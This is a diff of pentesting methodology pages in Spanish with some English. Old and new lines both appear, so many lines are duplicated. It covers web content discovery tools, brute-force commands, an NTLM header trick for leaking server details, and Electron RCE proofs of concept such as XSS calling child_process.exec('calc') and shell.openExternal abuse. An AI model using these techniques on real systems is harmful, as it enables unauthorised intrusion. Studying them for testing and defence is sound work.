- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, con LinkFider para archivos JS y Archive.org como fuente externa.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, también indica "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactivo HTML spider. También busca en Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider pero puede ser útil. Puedes indicar un archivo con hosts y un archivo con paths y meg hará fetch de cada path en cada host y guardará la respuesta.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacidades de renderizado JS. Sin embargo, parece no estar mantenida, la versión precompilada es antigua y el código actual no compila.
- [**gau**](https://github.com/lc/gau) (go): HTML spider que usa proveedores externos (wayback, otx, commoncrawl)
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacidades de renderizado de JS. Sin embargo, parece no estar mantenido, la versión precompilada es antigua y el código actual no compila
- [**gau**](https://github.com/lc/gau) (go): HTML spider que utiliza proveedores externos (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider con capacidades de renderizado JS.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider con capacidades de renderizado de JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, con capacidades de JS beautify capaz de buscar nuevas rutas en archivos JS. También puede valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un wrapper de LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto del source HTML como de archivos javascript embebidos. Útil para bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script en python 2.7 que usa Tornado y JSBeautifier para parsear URLs relativas desde archivos JavaScript. Útil para descubrir fácilmente requests AJAX. Parece no estar mantenido.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs usando una expresión regular ingeniosa para encontrar y extraer URLs relativas de archivos minificados.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Recolecta información interesante de archivos JS usando varias herramientas.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el source HTML como en archivos javascript embebidos. Útil para bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script en python 2.7 usando Tornado y JSBeautifier para parsear URLs relativas desde archivos JavaScript. Útil para descubrir fácilmente peticiones AJAX. Parece no estar mantenido.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs usando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos "feos" (minificados).
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Reúne información interesante de archivos JS usando varias herramientas.
- [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador headless e imprime todas las urls cargadas para renderizar la página.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de content discovery que mezcla varias opciones de las herramientas anteriores.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar paths y params en archivos JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que, dada la URL .js.map, te obtiene el código JS beautified.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Herramienta usada para descubrir endpoints para un objetivo dado.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces desde wayback machine (también descarga las respuestas en wayback y busca más enlaces).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (incluso rellenando formularios) y además encuentra info sensible usando regexes específicas.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un crawler/spider GUI multi-función diseñado para profesionales de ciberseguridad.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete Go y [herramienta CLI](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, paths, secrets y otros datos interesantes del código fuente JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **Burp Suite extension** para **extraer parámetros y endpoints** de las requests para crear wordlists custom para fuzzing y enumeración.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Herramienta excelente para esto.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada link que es capaz de encontrar.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de contenido mezclando varias opciones de las herramientas anteriores
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar path y params en archivos JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que, dada la URL .js.map, te dará el código JS beautified
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Herramienta para descubrir endpoints para un objetivo dado.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubrir links desde la wayback machine (además de descargar las respuestas en la wayback y buscar más links)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (incluso rellenando formularios) y también encuentra info sensible usando regexes específicas.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un crawler/spider GUI multi-función avanzado diseñado para profesionales de ciberseguridad.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete Go y una [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, paths, secrets y otros datos interesantes desde código fuente JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **Burp Suite extension** para **extraer los parámetros y endpoints** de las requests para crear wordlists personalizadas para fuzzing y enumeración.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Excelente herramienta para esto.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada link que sea capaz de encontrar.
### Brute Force directories and files
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
Herramientas:
Tools:
- **Dirb** / **Dirbuster** - Incluido en Kali, **antiguo** (y **lento**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento comparado con otras opciones.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: No permite certificados auto-firmados pero** permite búsqueda recursiva.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-firmados, no tiene búsqueda **recursiva**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, soporta búsqueda recursiva.**
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Esto no es un spider sino una herramienta que, dada la lista de URLs encontradas, eliminará URLs "duplicadas".
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension para crear una lista de directorios a partir del historial de Burp de diferentes páginas.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Elimina URLs con funcionalidades duplicadas (basado en imports de js).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologías usadas y seleccionar las wordlists a usar.
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
**Diccionarios recomendados:**
**Recommended dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -268,40 +269,40 @@ Herramientas:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Ten en cuenta que cada vez que se descubra un nuevo directorio durante el brute-forcing o el spidering, debe ser Brute-Forced._
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de los HTML que pueden ser susceptibles a takeovers.
- **File Backups**: Una vez que hayas encontrado todos los archivos, busca backups de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar un backup son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, intenta buscar** parámetros ocultos en cada archivo web ejecutable.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encontrar enlaces rotos dentro de HTMLs que podrían ser susceptibles a takeovers
- **File Backups**: Una vez que hayas encontrado todos los archivos, busca backups de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar un backup son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Revisa los comentarios de todos los archivos, puedes encontrar **credenciales** o **funcionalidad oculta**.
- Si juegas en **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el source con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario al **final** de la página web.
- **API keys**: Si **encuentras alguna API key** existe una guía que indica cómo usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Si encuentras una API key que parezca **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para comprobar a qué apis puede acceder la key.
- **S3 Buckets**: Mientras haces spidering mira si algún **subdomain** o algún **link** está relacionado con algún **S3 bucket**. En ese caso, [**comprueba** los **permisos** del bucket](buckets/index.html).
- **Comments:** Revisa los comentarios de todos los archivos, puedes encontrar **credentials** o **hidden functionality**.
- Si estás jugando en un **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varios saltos de línea** y **ocultar información** en un comentario al **final** de la página web.
- **API keys**: Si **encuentras alguna API key** hay guías que indican cómo usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Si encuentras alguna API key que empiece por **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar a qué apis puede acceder la key.
- **S3 Buckets**: Mientras haces spidering mira si algún **subdomain** o algún **link** está relacionado con algún **S3 bucket**. En ese caso, [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
**Mientras** realizas el **spidering** y el **brute-forcing** podrías encontrar **cosas** **interesantes** que debes **anotar**.
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Archivos interesantes**
**Interesting files**
- Busca **links** a otros archivos dentro de los archivos **CSS**.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- Si encuentras un _**.env**_ se pueden obtener información como api keys, contraseñas de dbs y otra información.
- Si encuentras **API endpoints** deberías [también testearlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "parecerán" archivos.
- **JS files**: En la sección de spidering se mencionaron varias herramientas que extraen paths de archivos JS. También sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar, por ejemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
- También deberías chequear los archivos JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para ver si son vulnerables.
- Si encuentras un _**.env**_ se puede encontrar información como api keys, contraseñas de dbs y otra información.
- Si encuentras **API endpoints** también [should also test them](web-api-pentesting.md). Estos no son archivos, pero probablemente "se vean" como tales.
- **JS files**: En la sección de spidering se mencionaron varias herramientas que pueden extraer paths de archivos JS. Además, sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
- También deberías revisar los JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para ver si son vulnerables.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- En varias ocasiones necesitarás **entender las expresiones regulares** usadas. Esto será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
- En varias ocasiones, necesitarás **entender las expresiones regulares** utilizadas. Esto será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
- También podrías **monitorizar los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad potencialmente vulnerable.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -317,24 +318,24 @@ Si alguna página **responde** con ese **código**, probablemente sea un **proxy
**NTLM Authentication - Info disclosure**
Si el servidor que pide autenticación es **Windows** o encuentras un login solicitando tus **credenciales** (y pidiendo el **domain** **name**), puedes provocar una **divulgación de información**.\
**Envía** el **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del header "WWW-Authenticate".\
Si el servidor que solicita autenticación es **Windows** o encuentras un login que pide tus **credentials** (y pide el **domain** **name**), puedes provocar una **disclosure de información**.\
**Envía** el **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **NTLM authentication**, el servidor responderá con info interna (versión de IIS, versión de Windows...) dentro del header "WWW-Authenticate".\
Puedes **automatizar** esto usando el **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Es posible **incluir contenido** dentro de una **redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** allí.
Es posible **poner contenido** dentro de una **Redirection**. Ese contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** allí.
### Web Vulnerabilities Checking
Ahora que se ha realizado una enumeración exhaustiva de la aplicación web, es hora de comprobar muchas posibles vulnerabilidades. Puedes encontrar el checklist aquí:
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Encuentra más info sobre vulnerabilidades web en:
Find more info about web vulns in:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -342,7 +343,7 @@ Encuentra más info sobre vulnerabilidades web en:
### Monitor Pages for changes
Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorizar páginas en busca de modificaciones que puedan insertar vulnerabilidades.
Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorizar páginas por modificaciones que puedan insertar vulnerabilidades.
### HackTricks Automatic Commands
```

View File

@ -1,17 +1,17 @@
# Electron Desktop Apps
# Aplicaciones de escritorio de Electron
{{#include ../../../banners/hacktricks-training.md}}
## Introducción
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos mecanismos de seguridad de los navegadores modernos.
Normalmente puedes encontrar el código de la aplicación Electron dentro de una aplicación `.asar`; para obtener el código necesitas extraerlo:
Normalmente puedes encontrar el código de la aplicación Electron dentro de un archivo `.asar`; para obtener el código necesitas extraerlo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
En el código fuente de una aplicación Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen las configuraciones de seguridad.
En el código fuente de una app Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen los ajustes de seguridad.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ En el código fuente de una aplicación Electron, dentro de `packet.json`, puede
```
Electron tiene 2 tipos de procesos:
- Main Process (tiene acceso completo a NodeJS)
- Renderer Process (debería tener acceso a NodeJS restringido por razones de seguridad)
- Proceso principal (tiene acceso completo a NodeJS)
- Proceso de renderizado (debería tener acceso a NodeJS restringido por razones de seguridad)
![](<../../../images/image (182).png>)
Un **renderer process** será una ventana del navegador que carga un archivo:
Un **proceso de renderizado** será una ventana del navegador que carga un archivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Los ajustes del **proceso de renderizado** pueden **configurarse** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **evitarán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
Los ajustes del **proceso de renderizado** se pueden **configurar** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **evitarán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
La aplicación Electron **podría acceder al dispositivo** vía las APIs de Node aunque se puede configurar para evitarlo:
La aplicación Electron **podría acceder al dispositivo** a través de las APIs de Node aunque puede configurarse para evitarlo:
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
- **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`**- is `off` by default.
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
- **`nodeIntegration`** - está `off` por defecto. Si está `on`, permite acceder a las funciones de Node desde el proceso de renderizado.
- **`contextIsolation`** - está `on` por defecto. Si está `off`, el proceso principal y el de renderizado no están aislados.
- **`preload`** - vacío por defecto.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está `off` por defecto. Restringirá las acciones que NodeJS puede realizar.
- Integración de Node en Workers
- **`nodeIntegrationInSubframes`** - está `off` por defecto.
- Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de las **APIs de Node.js** en páginas web que se **cargan en iframes** dentro de una aplicación Electron.
- Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe
Ejemplo de configuración:
```javascript
@ -103,7 +103,7 @@ Modifica la configuración start-main y añade el uso de un proxy como:
```
## Electron Local Code Injection
Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:
Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que ejecute código JavaScript arbitrario. Consulta cómo en:
{{#ref}}
@ -112,7 +112,7 @@ Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que
## RCE: XSS + nodeIntegration
Si la **nodeIntegration** está configurada en **on**, el JavaScript de una página web puede usar las funcionalidades de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la manera de ejecutar la aplicación calc en Windows es:
Si la **nodeIntegration** está configurada en **on**, el JavaScript de una página web puede usar características de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a las Node APIs**:
El script indicado en esta configuración está **cargado antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -153,16 +153,16 @@ runCalc()
## RCE: XSS + contextIsolation
The _**contextIsolation**_ introduce los **contextos separados entre los scripts de la página web y el código interno JavaScript de Electron** de modo que la ejecución de JavaScript de cada uno no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
La _**contextIsolation**_ introduce los **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron** de modo que la ejecución de JavaScript de cada uno no se afecte mutuamente. Esta es una característica necesaria para eliminar la posibilidad de RCE.
If the contexts aren't isolated an attacker can:
Si los contextos no están aislados, un atacante puede:
1. Ejecutar **JavaScript arbitrario en renderer** (XSS o navegación a sitios externos)
2. **Sobrescribir el método incorporado** que se usa en preload o en el código interno de Electron para tomar el control de la función
3. **Provocar** el uso de la **función sobrescrita**
1. Ejecutar **JavaScript arbitrario en el renderer** (XSS o navegación a sitios externos)
2. **Sobrescribir el método built-in** que se usa en preload o en el código interno de Electron para tomar control de la función
3. **Activar** el uso de la **función sobrescrita**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Hay 2 lugares donde los métodos built-in pueden ser sobrescritos: en el código preload o en el código interno de Electron:
{{#ref}}
@ -181,34 +181,34 @@ electron-contextisolation-rce-via-ipc.md
### Bypass click event
Si hay restricciones aplicadas al hacer clic en un enlace, podrías poder eludirlas **haciendo un clic central** en lugar del clic izquierdo regular
Si hay restricciones aplicadas cuando haces clic en un enlace, podrías ser capaz de evadirlas **haciendo un middle click** en lugar de un regular left click
```javascript
window.addEventListener('click', (e) => {
```
## RCE vía shell.openExternal
## RCE a través de shell.openExternal
Para más información sobre estos ejemplos consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Para más info sobre estos examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Al desplegar una aplicación de escritorio Electron, asegurar las configuraciones correctas para `nodeIntegration` y `contextIsolation` es crucial. Está demostrado que **client-side remote code execution (RCE)** dirigido a preload scripts o al código nativo de Electron desde el proceso principal queda efectivamente prevenido con estas configuraciones.
Al desplegar una aplicación de escritorio Electron, asegurar los ajustes correctos para `nodeIntegration` y `contextIsolation` es crucial. Está establecido que **client-side remote code execution (RCE)** dirigido a preload scripts o al código nativo de Electron desde el main process se previene efectivamente con estos ajustes en su lugar.
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se disparan manejadores de eventos específicos, que son cruciales para la seguridad y la funcionalidad de la aplicación:
Cuando un usuario interactúa con enlaces u abre nuevas ventanas, se disparan event listeners específicos, que son cruciales para la seguridad y funcionalidad de la aplicación:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Estos listeners son **overridden by the desktop application** para implementar su propia **business logic**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
Estos listeners son **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegadо debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
**Here is a simplified pseudocode:**
**Aquí hay un pseudocódigo simplificado:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices aconseja no aceptar contenido no confiable con la función `openExternal`, ya que podría conducir a RCE a través de varios protocolos. Los sistemas operativos soportan diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación más amplia sobre este tema, se puede consultar [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría conducir a RCE a través de varios protocolos. Los sistemas operativos soportan distintos protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación más amplia sobre este tema, puede consultarse [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
En macos, la función `openExternal` puede explotarse para ejecutar comandos arbitrarios como en `shell.openExternal('file:///System/Applications/Calculator.app')`.
En macos, la función `openExternal` puede explotarse para ejecutar comandos arbitrarios, por ejemplo `shell.openExternal('file:///System/Applications/Calculator.app')`.
